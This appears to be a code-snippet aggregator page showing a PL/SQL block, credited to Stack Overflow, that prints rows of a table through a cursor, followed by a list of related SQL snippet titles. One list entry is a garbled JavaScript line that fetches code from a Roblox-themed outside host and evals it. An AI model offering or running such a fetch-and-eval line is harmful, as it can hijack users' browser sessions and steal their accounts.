Output table plsql

SET SERVEROUTPUT ON
     BEGIN
          -- A PL/SQL cursor (google implicit cursor to know more about it)
          FOR cursor1 IN (SELECT * FROM table1)
          LOOP
            DBMS_OUTPUT.PUT_LINE('Column 1 = ' || cursor1.column1 ||
                               ', Column 2 = ' || cursor1.column2);
          END LOOP;
     END;
        /

Source: stackoverflow.com

Similar codes

4 votes275 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
23 votes319 views4 answers
Uninstall postgresql ubuntu
SQL
1 vote296 views1 answer
Add current timestamp in mysql
SQL
1 vote308 views1 answer
Increasing font and zooming in mysql workbench
SQL
1 vote291 views1 answer
Set statistics on in ssms
SQL
0 vote299 views1 answer
Sql create text column limited values
SQL
0 vote325 views1 answer
Mysql value ends with
SQL
1 vote301 views2 answers
Install mysqldump ubuntu
SQL
3 votes324 views3 answers
Raw select laravel
SQL
18 votes312 views4 answers
Uninstall mysql ubuntu 18.04
SQL